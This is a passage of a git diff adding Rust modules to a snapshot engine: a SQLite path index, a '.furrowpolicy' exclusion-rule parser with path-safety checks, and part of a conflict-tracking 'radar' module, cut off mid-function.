COUNT(*) > 1) + ORDER BY device, inode, path", + )?; + let rows = statement.query_map([], |row| { + Ok(( + (row.get::<_, i64>(0)?, row.get::<_, i64>(1)?), + row.get::<_, Vec>(2)?, + )) + })?; + let mut groups: Vec>> = Vec::new(); + let mut last = None; + for row in rows { + let (identity, path) = row?; + match last.replace(identity) { + Some(previous) if previous == identity => { + groups.last_mut().expect("a group is open").push(path) + } + _ => groups.push(vec![path]), + } + } + groups.sort(); + Ok(groups) + } + + pub fn remove(&self, path: &[u8]) -> anyhow::Result { + self.connection + .execute("DELETE FROM links WHERE path = ?1", params![path])?; + Ok(self + .connection + .execute("DELETE FROM entries WHERE path = ?1", params![path])? + != 0) + } + + pub fn children_after( + &self, + parent: &[u8], + after_name: Option<&[u8]>, + limit: usize, + ) -> anyhow::Result> { + let after_name = after_name.unwrap_or_default(); + let mut statement = self.connection.prepare( + "SELECT entry FROM entries + WHERE parent = ?1 AND name > ?2 + ORDER BY name LIMIT ?3", + )?; + let rows = statement.query_map(params![parent, after_name, limit as i64], |row| { + row.get::<_, Vec>(0) + })?; + rows.map(|row| { + serde_json::from_slice(&row?).map_err(|error| { + rusqlite::Error::FromSqlConversionFailure( + 0, + rusqlite::types::Type::Blob, + Box::new(error), + ) + }) + }) + .collect::, _>>() + .map_err(Into::into) + } + + pub fn entries_after( + &self, + after_path: Option<&[u8]>, + limit: usize, + ) -> anyhow::Result, TreeEntry)>> { + let after_path = after_path.unwrap_or_default(); + let mut statement = self.connection.prepare( + "SELECT path, entry FROM entries + WHERE path > ?1 ORDER BY path LIMIT ?2", + )?; + let rows = statement.query_map(params![after_path, limit as i64], |row| { + Ok((row.get::<_, Vec>(0)?, row.get::<_, Vec>(1)?)) + })?; + let mut entries = Vec::new(); + for row in rows { + let (path, entry) = row?; + entries.push(( + path, + serde_json::from_slice(&entry).context("decode indexed tree entry")?, + )); + } + Ok(entries) + } + + pub fn set_root(&self, root: &ObjectId, generation: &str) -> anyhow::Result<()> { + self.connection.execute( + "INSERT INTO state(singleton, root_tree, generation) VALUES(1, ?1, ?2) + ON CONFLICT(singleton) DO UPDATE SET + root_tree=excluded.root_tree, + generation=excluded.generation", + params![root.as_slice(), generation], + )?; + Ok(()) + } + + pub fn root(&self, generation: &str) -> anyhow::Result> { + let bytes: Option> = self + .connection + .query_row( + "SELECT root_tree FROM state WHERE singleton = 1 AND generation = ?1", + params![generation], + |row| row.get(0), + ) + .optional()?; + bytes + .map(|bytes| { + anyhow::ensure!(bytes.len() == 32, "invalid path-index root ID"); + let mut id = [0; 32]; + id.copy_from_slice(&bytes); + Ok(id) + }) + .transpose() + } + + pub fn count(&self) -> anyhow::Result { + Ok(self + .connection + .query_row("SELECT COUNT(*) FROM entries", [], |row| { + row.get::<_, i64>(0) + })? as u64) + } + + pub fn usage(&self) -> anyhow::Result { + let mut statement = self.connection.prepare("SELECT entry FROM entries")?; + let mut rows = statement.query([])?; + let mut usage = PathUsage { + directories: 1, + ..PathUsage::default() + }; + while let Some(row) = rows.next()? { + let bytes: Vec = row.get(0)?; + let entry: TreeEntry = + serde_json::from_slice(&bytes).context("decode indexed tree entry")?; + match entry.kind { + EntryKind::File => { + usage.files = usage.files.saturating_add(1); + usage.logical_bytes = usage.logical_bytes.saturating_add(entry.size); + } + EntryKind::Directory => usage.directories = usage.directories.saturating_add(1), + EntryKind::Symlink => usage.symlinks = usage.symlinks.saturating_add(1), + EntryKind::Fifo => usage.fifos = usage.fifos.saturating_add(1), + EntryKind::SocketMarker => usage.special = usage.special.saturating_add(1), + } + } + Ok(usage) + } +} + +impl Drop for PathIndex { + fn drop(&mut self) { + if self.transaction_active { + let _ = self.connection.execute_batch("ROLLBACK"); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::model::EntryKind; + + fn entry(name: &[u8], target: u8) -> TreeEntry { + TreeEntry { + name: name.to_vec(), + kind: EntryKind::File, + target: Some([target; 32]), + link_target: Vec::new(), + mode: 0o100644, + size: 1, + mtime_secs: 0, + mtime_nanos: 0, + xattrs: None, + class: Default::default(), + } + } + + #[test] + fn batches_children_and_removes_descendants_transactionally() { + let temporary = tempfile::tempdir().unwrap(); + let mut index = PathIndex::open(&temporary.path().join("paths.sqlite3")).unwrap(); + index.begin().unwrap(); + let directory = TreeEntry { + name: b"dir".to_vec(), + kind: EntryKind::Directory, + target: Some([1; 32]), + link_target: Vec::new(), + mode: 0o40755, + size: 0, + mtime_secs: 0, + mtime_nanos: 0, + xattrs: None, + class: Default::default(), + }; + index.upsert(b"dir", b"", &directory).unwrap(); + index.upsert(b"dir/a", b"dir", &entry(b"a", 2)).unwrap(); + index.upsert(b"dir/b", b"dir", &entry(b"b", 3)).unwrap(); + index.set_root(&[9; 32], "pack-one").unwrap(); + index.commit().unwrap(); + + let usage = index.usage().unwrap(); + assert_eq!(usage.files, 2); + assert_eq!(usage.directories, 2); + assert_eq!(usage.logical_bytes, 2); + + let first = index.children_after(b"dir", None, 1).unwrap(); + assert_eq!(first[0].name, b"a"); + let second = index + .children_after(b"dir", Some(&first[0].name), CHILD_BATCH) + .unwrap(); + assert_eq!(second[0].name, b"b"); + assert_eq!(index.root("pack-one").unwrap(), Some([9; 32])); + assert_eq!(index.root("pack-two").unwrap(), None); + + index.begin().unwrap(); + assert_eq!(index.remove_subtree(b"dir").unwrap(), 3); + index.rollback().unwrap(); + assert_eq!(index.count().unwrap(), 3); + index.begin().unwrap(); + assert_eq!(index.remove_subtree(b"dir").unwrap(), 3); + index.commit().unwrap(); + assert_eq!(index.count().unwrap(), 0); + } +} diff --git a/engine/furrow-core/src/policy.rs b/engine/furrow-core/src/policy.rs new file mode 100644 index 0000000000..fb86cb102d --- /dev/null +++ b/engine/furrow-core/src/policy.rs @@ -0,0 +1,151 @@ +//! Small, auditable capture-policy parser. + +use anyhow::Context; +use std::fs; +use std::os::unix::ffi::OsStrExt; +use std::path::Path; + +pub const POLICY_FILE: &str = ".furrowpolicy"; +pub const POLICY_FILE_BYTES: &[u8] = b".furrowpolicy"; +const MAX_POLICY_BYTES: u64 = 64 * 1024; +const MAX_RULES: usize = 1_024; + +#[derive(Debug, Clone, Default)] +pub struct CapturePolicy { + excluded: Vec>, +} + +impl CapturePolicy { + pub fn load(root: &Path) -> anyhow::Result { + let path = root.join(POLICY_FILE); + let metadata = match fs::symlink_metadata(&path) { + Ok(metadata) => metadata, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => { + return Ok(Self::default()) + } + Err(error) => return Err(error.into()), + }; + anyhow::ensure!( + metadata.is_file() && !metadata.file_type().is_symlink(), + ".furrowpolicy must be a regular file" + ); + anyhow::ensure!( + metadata.len() <= MAX_POLICY_BYTES, + ".furrowpolicy exceeds 64 KiB" + ); + let contents = fs::read_to_string(&path).context(".furrowpolicy must be valid UTF-8")?; + let mut excluded = Vec::new(); + for (index, raw) in contents.lines().enumerate() { + let line = raw.trim(); + if line.is_empty() || line.starts_with('#') { + continue; + } + let value = line.strip_prefix("exclude ").with_context(|| { + format!( + ".furrowpolicy line {} must use `exclude `", + index + 1 + ) + })?; + let value = value.trim().trim_end_matches('/'); + let bytes = value.as_bytes(); + validate_rule(bytes) + .with_context(|| format!("invalid .furrowpolicy line {}", index + 1))?; + excluded.push(bytes.to_vec()); + anyhow::ensure!( + excluded.len() <= MAX_RULES, + ".furrowpolicy exceeds 1024 rules" + ); + } + excluded.sort(); + excluded.dedup(); + Ok(Self { excluded }) + } + + pub fn from_rules(rules: &[String]) -> anyhow::Result { + anyhow::ensure!( + rules.len() <= MAX_RULES, + "snapshot policy exceeds 1024 rules" + ); + let mut excluded = Vec::with_capacity(rules.len()); + for rule in rules { + validate_rule(rule.as_bytes())?; + excluded.push(rule.as_bytes().to_vec()); + } + excluded.sort(); + excluded.dedup(); + Ok(Self { excluded }) + } + + pub fn union(&self, other: &Self) -> Self { + let mut excluded = self.excluded.clone(); + excluded.extend(other.excluded.iter().cloned()); + excluded.sort(); + excluded.dedup(); + Self { excluded } + } + + pub fn excludes_bytes(&self, relative: &[u8]) -> bool { + self.excluded.iter().any(|rule| { + relative == rule.as_slice() + || (relative.starts_with(rule) && relative.get(rule.len()) == Some(&b'/')) + }) + } + + pub fn excludes_path(&self, root: &Path, path: &Path) -> bool { + path.strip_prefix(root) + .ok() + .is_some_and(|relative| self.excludes_bytes(relative.as_os_str().as_bytes())) + } + + pub fn rules(&self) -> impl Iterator { + self.excluded.iter().map(Vec::as_slice) + } + + pub fn rule_strings(&self) -> Vec { + self.excluded + .iter() + .map(|rule| String::from_utf8(rule.clone()).expect("policy rules are UTF-8")) + .collect() + } +} + +fn validate_rule(rule: &[u8]) -> anyhow::Result<()> { + anyhow::ensure!(!rule.is_empty(), "exclude path cannot be empty"); + anyhow::ensure!(!rule.starts_with(b"/"), "exclude path must be relative"); + anyhow::ensure!(!rule.contains(&0), "exclude path contains NUL"); + anyhow::ensure!( + rule.split(|byte| *byte == b'/') + .all(|part| !part.is_empty() && part != b"." && part != b".."), + "exclude path contains an unsafe component" + ); + let first = rule.split(|byte| *byte == b'/').next().unwrap_or_default(); + anyhow::ensure!( + first != b".git" && first != b".furrow" && rule != POLICY_FILE_BYTES, + "Git and furrow control state cannot be excluded" + ); + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn parses_literal_subtrees_and_rejects_unsafe_rules() { + let temporary = tempfile::tempdir().unwrap(); + fs::write( + temporary.path().join(POLICY_FILE), + b"# local policy\nexclude node_modules/\nexclude packages/app/cache\n", + ) + .unwrap(); + let policy = CapturePolicy::load(temporary.path()).unwrap(); + assert!(policy.excludes_bytes(b"node_modules/pkg/index.js")); + assert!(policy.excludes_bytes(b"packages/app/cache")); + assert!(!policy.excludes_bytes(b"packages/app/cacheable")); + + fs::write(temporary.path().join(POLICY_FILE), b"exclude ../outside\n").unwrap(); + assert!(CapturePolicy::load(temporary.path()).is_err()); + fs::write(temporary.path().join(POLICY_FILE), b"exclude .git\n").unwrap(); + assert!(CapturePolicy::load(temporary.path()).is_err()); + } +} diff --git a/engine/furrow-core/src/radar.rs b/engine/furrow-core/src/radar.rs new file mode 100644 index 0000000000..4ec7667456 --- /dev/null +++ b/engine/furrow-core/src/radar.rs @@ -0,0 +1,921 @@ +//! Disk-backed dirty scopes, conflict state, and durable family events. + +use crate::content_class::ContentClass; +use crate::model::{ClaimRecord, EntryKind, ObjectId, ObjectKind, Snapshot, TreeEntry}; +use crate::store::ObjectStore; +use crate::tree; +use anyhow::Context; +use rusqlite::{params, Connection, OptionalExtension, Transaction}; +use serde::{Deserialize, Serialize}; +use std::collections::BTreeMap; +use std::path::Path; +use std::time::{Duration, SystemTime, UNIX_EPOCH}; + +const EXACT: i64 = 0; +const SUBTREE: i64 = 1; +const EVENT_LIMIT: i64 = 10_000; + +pub struct Radar { + connection: Connection, + family_id: String, +} + +#[derive(Clone, Debug)] +pub struct UniverseRegistration<'a> { + pub fork_id: &'a str, + pub name: &'a str, + pub workspace_id: &'a str, + pub base_snapshot: ObjectId, + pub head_snapshot: ObjectId, +} + +#[derive(Clone, Debug, Default)] +pub struct ForkConflictSummary { + pub count: u64, + pub paths: Vec>, +} + +#[derive(Clone, Debug, Deserialize, Serialize)] +pub struct EventPath { + pub display: String, + pub bytes_hex: String, +} + +#[derive(Clone, Debug, Deserialize, Serialize)] +pub struct EventFork { + pub fork_id: String, + pub name: String, + pub head_snapshot: String, +} + +#[derive(Clone, Debug, Deserialize, Serialize)] +pub struct RadarEvent { + pub schema: u32, + pub cursor: String, + pub event_id: String, + #[serde(rename = "type")] + pub event_type: String, + pub state: String, + pub conflict_id: String, + pub path: EventPath, + pub forks: Vec, + pub claim_state: String, + pub occurred_at: i64, +} + +#[derive(Clone, Debug, Serialize)] +pub struct EventPage { + pub cursor_found: bool, + pub earliest_cursor: Option, + pub latest_cursor: Option, + pub events: Vec, +} + +impl Radar { + pub fn open(store_root: &Path, family_id: &str) -> anyhow::Result { + validate_id(family_id, "family")?; + let directory = store_root.join("families").join(family_id); + std::fs::create_dir_all(&directory)?; + let connection = Connection::open(directory.join("radar.sqlite3"))?; + connection.busy_timeout(Duration::from_secs(5))?; + connection.execute_batch( + "PRAGMA journal_mode=WAL; + PRAGMA synchronous=FULL; + PRAGMA temp_store=MEMORY; + CREATE TABLE IF NOT EXISTS universes( + fork_id TEXT PRIMARY KEY, + name TEXT NOT NULL, + workspace_id TEXT NOT NULL, + base_snapshot BLOB NOT NULL, + head_snapshot BLOB, + updated_at INTEGER NOT NULL + ); + CREATE UNIQUE INDEX IF NOT EXISTS universes_workspace + ON universes(workspace_id); + CREATE TABLE IF NOT EXISTS dirty_scopes( + fork_id TEXT NOT NULL, + path BLOB NOT NULL, + scope INTEGER NOT NULL, + action TEXT NOT NULL, + PRIMARY KEY(fork_id, path, scope) + ) WITHOUT ROWID; + CREATE INDEX IF NOT EXISTS dirty_path + ON dirty_scopes(path, scope, fork_id); + CREATE TABLE IF NOT EXISTS active_conflicts( + path BLOB PRIMARY KEY, + signature TEXT NOT NULL, + claim_state TEXT NOT NULL DEFAULT 'unclaimed', + opened_at INTEGER NOT NULL + ) WITHOUT ROWID; + CREATE TABLE IF NOT EXISTS active_members( + path BLOB NOT NULL, + fork_id TEXT NOT NULL, + PRIMARY KEY(path, fork_id) + ) WITHOUT ROWID; + CREATE TABLE IF NOT EXISTS events( + sequence INTEGER PRIMARY KEY AUTOINCREMENT, + event_id TEXT NOT NULL UNIQUE, + kind TEXT NOT NULL, + state TEXT NOT NULL, + conflict_id TEXT NOT NULL, + path BLOB NOT NULL, + forks_json BLOB NOT NULL, + claim_state TEXT NOT NULL, + created_at INTEGER NOT NULL + );", + )?; + let has_claim_state: bool = connection.query_row( + "SELECT EXISTS( + SELECT 1 FROM pragma_table_info('active_conflicts') WHERE name = 'claim_state' + )", + [], + |row| row.get(0), + )?; + if !has_claim_state { + connection.execute( + "ALTER TABLE active_conflicts + ADD COLUMN claim_state TEXT NOT NULL DEFAULT 'unclaimed'", + [], + )?; + } + Ok(Self { + connection, + family_id: family_id.to_owned(), + }) + } + + pub fn retain_universes( + &mut self, + fork_ids: &[String], + claims: &[ClaimRecord], + ) -> anyhow::Result<()> { + let transaction = self.connection.transaction()?; + transaction.execute_batch( + "CREATE TEMP TABLE IF NOT EXISTS radar_keep(fork_id TEXT PRIMARY KEY) WITHOUT ROWID; + DELETE FROM radar_keep;", + )?; + { + let mut insert = transaction.prepare("INSERT INTO radar_keep(fork_id) VALUES(?1)")?; + for fork_id in fork_ids { + validate_id(fork_id, "fork")?; + insert.execute(params![fork_id])?; + } + } + transaction.execute( + "DELETE FROM dirty_scopes + WHERE fork_id NOT IN (SELECT fork_id FROM radar_keep)", + [], + )?; + reconcile_conflicts(&transaction, &self.family_id, claims)?; + transaction.execute( + "DELETE FROM universes + WHERE fork_id NOT IN (SELECT fork_id FROM radar_keep)", + [], + )?; + transaction.commit()?; + Ok(()) + } + + pub fn observe( + &mut self, + store: &ObjectStore, + registration: UniverseRegistration<'_>, + ) -> anyhow::Result { + validate_id(registration.fork_id, "fork")?; + let current: Option<(Vec, Vec)> = self + .connection + .query_row( + "SELECT base_snapshot, head_snapshot FROM universes WHERE fork_id = ?1", + params![registration.fork_id], + |row| Ok((row.get(0)?, row.get(1)?)), + ) + .optional()?; + if current.as_ref().is_some_and(|(base, head)| { + base.as_slice() == registration.base_snapshot + && head.as_slice() == registration.head_snapshot + }) { + self.connection.execute( + "UPDATE universes SET name = ?2, workspace_id = ?3, updated_at = ?4 + WHERE fork_id = ?1", + params![ + registration.fork_id, + registration.name, + registration.workspace_id, + now()? + ], + )?; + return Ok(false); + } + + let base: Snapshot = + store.read_struct(®istration.base_snapshot, ObjectKind::Snapshot)?; + let head: Snapshot = + store.read_struct(®istration.head_snapshot, ObjectKind::Snapshot)?; + let previous = current + .as_ref() + .and_then(|(stored_base, stored_head)| { + (stored_base.as_slice() == registration.base_snapshot) + .then(|| object_id(stored_head)) + }) + .transpose()?; + let previous_root = previous + .map(|id| store.read_struct::(&id, ObjectKind::Snapshot)) + .transpose()? + .map(|snapshot| snapshot.root_tree); + + let transaction = self.connection.transaction()?; + transaction.execute( + "INSERT INTO universes( + fork_id, name, workspace_id, base_snapshot, head_snapshot, updated_at + ) VALUES(?1, ?2, ?3, ?4, ?5, ?6) + ON CONFLICT(fork_id) DO UPDATE SET + name=excluded.name, + workspace_id=excluded.workspace_id, + base_snapshot=excluded.base_snapshot, + head_snapshot=excluded.head_snapshot, + updated_at=excluded.updated_at", + params![ + registration.fork_id, + registration.name, + registration.workspace_id, + registration.base_snapshot.as_slice(), + registration.head_snapshot.as_slice(), + now()? + ], + )?; + + if previous_root.is_none() { + transaction.execute( + "DELETE FROM dirty_scopes WHERE fork_id = ?1", + params![registration.fork_id], + )?; + } + let comparison_root = previous_root.unwrap_or(base.root_tree); + update_dirty_scopes( + store, + &transaction, + registration.fork_id, + &base.root_tree, + &head.root_tree, + &comparison_root, + )?; + transaction.commit()?; + Ok(true) + } + + pub fn reconcile(&mut self, claims: &[ClaimRecord]) -> anyhow::Result<()> { + let transaction = self.connection.transaction()?; + reconcile_conflicts(&transaction, &self.family_id, claims)?; + transaction.commit()?; + Ok(()) + } + + pub fn summaries(&self) -> anyhow::Result> { + let mut summaries = BTreeMap::new(); + let mut statement = self.connection.prepare( + "SELECT u.fork_id, m.path + FROM active_members m + JOIN universes u ON u.fork_id = m.fork_id + ORDER BY u.name, m.path", + )?; + let mut rows = statement.query([])?; + while let Some(row) = rows.next()? { + let fork_id: String = row.get(0)?; + let path: Vec = row.get(1)?; + let summary = summaries + .entry(fork_id) + .or_insert_with(ForkConflictSummary::default); + summary.count = summary.count.saturating_add(1); + if summary.paths.len() < 20 { + summary.paths.push(path); + } + } + Ok(summaries) + } + + pub fn updated_at(&self) -> anyhow::Result> { + let mut statement = self + .connection + .prepare("SELECT fork_id, updated_at FROM universes ORDER BY fork_id")?; + let rows = statement.query_map([], |row| Ok((row.get(0)?, row.get(1)?)))?; + Ok(rows.collect::, _>>()?) + } + + pub fn events_after(&self, after: Option<&str>, limit: usize) -> anyhow::Result { + anyhow::ensure!((1..=1000).contains(&limit), "event limit must be 1..=1000"); + let cursor_supplied = after.is_some(); + let after_sequence = after + .map(|cursor| self.parse_cursor(cursor)) + .transpose()? + .unwrap_or(0); + let (earliest, latest): (Option, Option) = self.connection.query_row( + "SELECT MIN(sequence), MAX(sequence) FROM events", + [], + |row| Ok((row.get(0)?, row.get(1)?)), + )?; + let cursor_found = !cursor_supplied + || (earliest.is_some() + && after_sequence >= earliest.unwrap_or(1).saturating_sub(1) + && after_sequence <= latest.unwrap_or(0)); + let mut statement = self.connection.prepare( + "SELECT sequence, event_id, kind, state, conflict_id, path, + forks_json, claim_state, created_at + FROM events WHERE sequence > ?1 ORDER BY sequence LIMIT ?2", + )?; + let rows = statement.query_map(params![after_sequence, limit as i64], |row| { + let sequence: i64 = row.get(0)?; + let path: Vec = row.get(5)?; + let forks_json: Vec = row.get(6)?; + let forks = serde_json::from_slice(&forks_json).map_err(|error| { + rusqlite::Error::FromSqlConversionFailure( + 6, + rusqlite::types::Type::Blob, + Box::new(error), + ) + })?; + Ok(RadarEvent { + schema: 1, + cursor: format!("{}:{sequence}", self.family_id), + event_id: row.get(1)?, + event_type: row.get(2)?, + state: row.get(3)?, + conflict_id: row.get(4)?, + path: EventPath { + display: display_path(&path), + bytes_hex: hex::encode(path), + }, + forks, + claim_state: row.get(7)?, + occurred_at: row.get(8)?, + }) + })?; + Ok(EventPage { + cursor_found, + earliest_cursor: earliest.map(|sequence| format!("{}:{sequence}", self.family_id)), + latest_cursor: latest.map(|sequence| format!("{}:{sequence}", self.family_id)), + events: rows.collect::, _>>()?, + }) + } + + fn parse_cursor(&self, cursor: &str) -> anyhow::Result { + let (stream, sequence) = cursor + .rsplit_once(':') + .context("event cursor must be :")?; + anyhow::ensure!( + stream == self.family_id, + "event cursor belongs to another family" + ); + let sequence = sequence + .parse::() + .context("invalid event cursor sequence")?; + anyhow::ensure!(sequence >= 0, "event cursor sequence cannot be negative"); + Ok(sequence) + } +} + +fn update_dirty_scopes( + store: &ObjectStore, + transaction: &Transaction<'_>, + fork_id: &str, + base_root: &ObjectId, + head_root: &ObjectId, + comparison_root: &ObjectId, +) -> anyhow::Result<()> { + visit_changed_scopes( + store, + Some(*comparison_root), + Some(*head_root), + Vec::new(), + &mut |path| recompute_scope(store, transaction, fork_id, base_root, head_root, path), + ) +} + +fn visit_changed_scopes( + store: &ObjectStore, + before: Option, + after: Option, + prefix: Vec, + visitor: &mut F, +) -> anyhow::Result<()> +where + F: FnMut(&[u8]) -> anyhow::Result<()>, +{ + match (before, after) { + (Some(before), Some(after)) => { + tree::diff_entries(store, &before, &after, &mut |left, right| { + let entry = left + .as_ref() + .or(right.as_ref()) + .context("missing tree entry")?; + let path = join_path(&prefix, &entry.name); + let left_tree = left + .as_ref() + .filter(|entry| entry.kind == EntryKind::Directory) + .and_then(|entry| entry.target); + let right_tree = right + .as_ref() + .filter(|entry| entry.kind == EntryKind::Directory) + .and_then(|entry| entry.target); + if left_tree.is_some() && right_tree.is_some() { + visitor(&path)?; + visit_changed_scopes(store, left_tree, right_tree, path, visitor) + } else { + visitor(&path) + } + }) + } + _ => anyhow::bail!("radar roots must both exist"), + } +} + +fn recompute_scope( + store: &ObjectStore, + transaction: &Transaction<'_>, + fork_id: &str, + base_root: &ObjectId, + head_root: &ObjectId, + path: &[u8], +) -> anyhow::Result<()> { + if ignored_path(path) { + remove_scope(transaction, fork_id, path, true)?; + return Ok(()); + } + let base = tree::find_path(store, base_root, path)?; + let head = tree::find_path(store, head_root, path)?; + let structural = base + .as_ref() + .is_some_and(|entry| entry.kind == EntryKind::Directory) + != head + .as_ref() + .is_some_and(|entry| entry.kind == EntryKind::Directory); + remove_scope(transaction, fork_id, path, structural)?; + + match (&base, &head) { + (Some(left), Some(right)) + if left.kind == EntryKind::Directory && right.kind == EntryKind::Directory => + { + if !directory_metadata_equal(left, right) && relevant(right.class) { + insert_scope(transaction, fork_id, path, EXACT, "modify")?; + } + } + (Some(left), None) if left.kind == EntryKind::Directory => { + if relevant(left.class) { + insert_scope(transaction, fork_id, path, SUBTREE, "delete")?; + } + } + (None, Some(right)) if right.kind == EntryKind::Directory => { + insert_added_subtree(store, transaction, fork_id, path, right)?; + } + (Some(left), Some(right)) if structural => { + if relevant(left.class) || relevant(right.class) { + insert_scope(transaction, fork_id, path, SUBTREE, "modify")?; + } + } + (Some(left), Some(right)) if entry_semantically_equal(left, right) => {} + (Some(left), Some(right)) => { + if relevant(left.class) || relevant(right.class) { + insert_scope(transaction, fork_id, path, EXACT, "modify")?; + } + } + (Some(left), None) => { + if relevant(left.class) { + insert_scope(transaction, fork_id, path, EXACT, "delete")?; + } + } + (None, Some(right)) => { + if relevant(right.class) { + insert_scope(transaction, fork_id, path, EXACT, "add")?; + } + } + (None, None) => {} + } + Ok(()) +} + +fn insert_added_subtree( + store: &ObjectStore, + transaction: &Transaction<'_>, + fork_id: &str, + path: &[u8], + directory: &TreeEntry, +) -> anyhow::Result<()> { + let root = directory.target.context("added directory has no tree")?; + let mut leaves = 0_u64; + visit_subtree(store, &root, path.to_vec(), &mut |child_path, entry| { + if entry.kind != EntryKind::Directory && relevant(entry.class) && !ignored_path(child_path) + { + leaves = leaves.saturating_add(1); + insert_scope(transaction, fork_id, child_path, EXACT, "add")?; + } + Ok(()) + })?; + if leaves == 0 && relevant(directory.class) { + insert_scope(transaction, fork_id, path, EXACT, "add")?; + } + Ok(()) +} + +fn visit_subtree( + store: &ObjectStore, + root: &ObjectId, + prefix: Vec, + visitor: &mut F, +) -> anyhow::Result<()> +where + F: FnMut(&[u8], &TreeEntry) -> anyhow::Result<()>, +{ + tree::for_each_entry(store, root, |entry| { + let path = join_path(&prefix, &entry.name); + visitor(&path, &entry)?; + if entry.kind == EntryKind::Directory { + let child = entry.target.context("directory has no tree")?; + visit_subtree(store, &child, path, visitor)?; + } + Ok(()) + }) +} + +fn remove_scope( + transaction: &Transaction<'_>, + fork_id: &str, + path: &[u8], + descendants: bool, +) -> anyhow::Result<()> { + if descendants { + transaction.execute( + "DELETE FROM dirty_scopes WHERE fork_id = ?1 AND + (path = ?2 OR (substr(path, 1, length(?2)) = ?2 AND + substr(path, length(?2) + 1, 1) = x'2f'))", + params![fork_id, path], + )?; + } else { + transaction.execute( + "DELETE FROM dirty_scopes WHERE fork_id = ?1 AND path = ?2", + params![fork_id, path], + )?; + } + Ok(()) +} + +fn insert_scope( + transaction: &Transaction<'_>, + fork_id: &str, + path: &[u8], + scope: i64, + action: &str, +) -> anyhow::Result<()> { + transaction.execute( + "INSERT INTO dirty_scopes(fork_id, path, scope, action) VALUES(?1, ?2, ?3, ?4) + ON CONFLICT(fork_id, path, scope) DO UPDATE SET action=excluded.action", + params![fork_id, path, scope, action], + )?; + Ok(()) +} + +fn reconcile_conflicts( + transaction: &Transaction<'_>, + family_id: &str, + claims: &[ClaimRecord], +) -> anyhow::Result<()> { + transaction.execute_batch( + "DROP TABLE IF EXISTS temp.radar_pairs; + DROP TABLE IF EXISTS temp.radar_next; + DROP TABLE IF EXISTS temp.radar_next_members; + CREATE TEMP TABLE radar_pairs(path BLOB, left_id TEXT, right_id TEXT); + INSERT INTO radar_pairs(path, left_id, right_id) + SELECT CASE + WHEN d1.scope = 1 AND d2.scope = 1 AND length(d1.path) <= length(d2.path) + THEN d1.path + WHEN d1.scope = 1 THEN d1.path + WHEN d2.scope = 1 THEN d2.path + ELSE d1.path + END, + d1.fork_id, d2.fork_id + FROM dirty_scopes d1 JOIN dirty_scopes d2 ON d1.fork_id < d2.fork_id + WHERE + (d1.scope = 0 AND d2.scope = 0 AND d1.path = d2.path) + OR (d1.scope = 1 AND + (d2.path = d1.path OR + (substr(d2.path, 1, length(d1.path)) = d1.path AND + substr(d2.path, length(d1.path) + 1, 1) = x'2f'))) + OR (d2.scope = 1 AND + (d1.path = d2.path OR + (substr(d1.path, 1, length(d2.path)) = d2.path AND + substr(d1.path, length(d2.path) + 1, 1) = x'2f'))); + CREATE TEMP TABLE radar_next( + path BLOB PRIMARY KEY, signature TEXT, claim_state TEXT + ) WITHOUT ROWID; + INSERT INTO radar_next(path, signature, claim_state) + SELECT path, '', 'unclaimed' FROM radar_pairs GROUP BY path; + DELETE FROM radar_next AS child WHERE EXISTS( + SELECT 1 FROM radar_next parent + WHERE length(parent.path) < length(child.path) + AND substr(child.path, 1, length(parent.path)) = parent.path + AND substr(child.path, length(parent.path) + 1, 1) = x'2f' + ); + CREATE TEMP TABLE radar_next_members( + path BLOB NOT NULL, fork_id TEXT NOT NULL, + PRIMARY KEY(path, fork_id) + ) WITHOUT ROWID; + INSERT OR IGNORE INTO radar_next_members(path, fork_id) + SELECT candidate.path, pairs.left_id + FROM radar_next candidate JOIN radar_pairs pairs ON pairs.path = candidate.path; + INSERT OR IGNORE INTO radar_next_members(path, fork_id) + SELECT candidate.path, pairs.right_id + FROM radar_next candidate JOIN radar_pairs pairs ON pairs.path = candidate.path;", + )?; + + let paths = { + let mut statement = transaction.prepare( + "SELECT path FROM radar_next + UNION SELECT path FROM active_conflicts + ORDER BY path", + )?; + let mapped = statement.query_map([], |row| row.get::<_, Vec>(0))?; + mapped.collect::, _>>()? + }; + for path in paths { + let next_forks = event_forks(transaction, "radar_next_members", &path)?; + let old_forks = event_forks(transaction, "active_members", &path)?; + let next_signature = fork_signature(&next_forks); + let old_signature = fork_signature(&old_forks); + let next_claim_state = if next_forks.is_empty() { + "unclaimed".to_owned() + } else { + claim_state(&path, claims) + }; + let old_claim_state: String = transaction + .query_row( + "SELECT claim_state FROM active_conflicts WHERE path = ?1", + params![&path], + |row| row.get(0), + ) + .optional()? + .unwrap_or_else(|| "unclaimed".to_owned()); + if !next_forks.is_empty() { + transaction.execute( + "UPDATE radar_next SET signature = ?2, claim_state = ?3 WHERE path = ?1", + params![&path, &next_signature, &next_claim_state], + )?; + } + if next_signature == old_signature && next_claim_state == old_claim_state { + continue; + } + let (state, forks, event_claim_state) = match (old_forks.is_empty(), next_forks.is_empty()) + { + (true, false) => ("opened", next_forks, next_claim_state), + (false, true) => ("resolved", old_forks, old_claim_state), + (false, false) => ("updated", next_forks, next_claim_state), + (true, true) => continue, + }; + insert_event( + transaction, + family_id, + &path, + state, + &forks, + &event_claim_state, + )?; + } + transaction.execute_batch( + "DELETE FROM active_members; + DELETE FROM active_conflicts; + INSERT INTO active_conflicts(path, signature, claim_state, opened_at) + SELECT path, signature, claim_state, unixepoch() FROM radar_next; + INSERT INTO active_members(path, fork_id) + SELECT path, fork_id FROM radar_next_members;", + )?; + transaction.execute( + "DELETE FROM events WHERE sequence <= + COALESCE((SELECT MAX(sequence) - ?1 FROM events), 0)", + params![EVENT_LIMIT], + )?; + Ok(()) +} + +fn event_forks( + transaction: &Transaction<'_>, + table: &str, + path: &[u8], +) -> anyhow::Result> { + anyhow::ensure!( + matches!(table, "radar_next_members" | "active_members"), + "invalid radar member table" + ); + let sql = format!( + "SELECT u.fork_id, u.name, u.head_snapshot + FROM {table} m JOIN universes u ON u.fork_id = m.fork_id + WHERE m.path = ?1 ORDER BY u.fork_id" + ); + let mut statement = transaction.prepare(&sql)?; + let rows = statement.query_map(params![path], |row| { + let head: Vec = row.get(2)?; + Ok(EventFork { + fork_id: row.get(0)?, + name: row.get(1)?, + head_snapshot: hex::encode(head), + }) + })?; + Ok(rows.collect::, _>>()?) +} + +fn insert_event( + transaction: &Transaction<'_>, + family_id: &str, + path: &[u8], + state: &str, + forks: &[EventFork], + claim_state: &str, +) -> anyhow::Result<()> { + let 